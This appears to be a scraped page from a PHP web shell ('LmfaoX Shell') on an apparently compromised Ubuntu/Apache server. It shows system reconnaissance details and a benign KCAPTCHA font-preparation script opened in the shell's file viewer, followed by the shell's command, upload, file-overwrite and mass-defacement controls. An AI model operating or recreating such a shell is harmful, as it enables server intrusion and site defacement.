ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:27.43 GB of 70.42 GB (38.96%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ map/ site/ kcaptcha/ util/ - drwxr-xr-x

Directory:
Viewing file:     font_preparer.php (1.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

# preparing PNG fonts to use with KCAPTCHA.
# reads files from folder "../fonts0", scans for symbols ans spaces and writes new font file with cached symbols positions to filder "../fonts"

# comment or remove next line for using (commented for security reason):
exit();

if (
$handle opendir('../fonts0')) {
    while (
false !== ($file readdir($handle))) {
        if (
$file == "." || $file == "..") {
            continue;
        }

        
$img=imagecreatefrompng('../fonts0/'.$file);
        
imageAlphaBlending($imgfalse);
        
imageSaveAlpha($imgtrue);
        
$transparent=imagecolorallocatealpha($img,255,255,255,127);
        
$white=imagecolorallocate($img,255,255,255);
        
$black=imagecolorallocate($img,0,0,0);
        
$gray=imagecolorallocate($img,100,100,100);

        for(
$x=0;$x<imagesx($img);$x++){
            
$space=true;
            
$column_opacity=0;
            for(
$y=1;$y<imagesy($img);$y++){
                
$rgb ImageColorAt($img$x$y);
                
$opacity=$rgb>>24;
                if(
$opacity!=127){
                    
$space=false;
                }
                
$column_opacity+=127-$opacity;
            }
            if(!
$space){
                
imageline($img,$x,0,$x,0,$column_opacity<200?$gray:$black);
            }
        }
        
imagepng($img,'../fonts/'.$file);
    }
    
closedir($handle);
}
?> 
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2597 seconds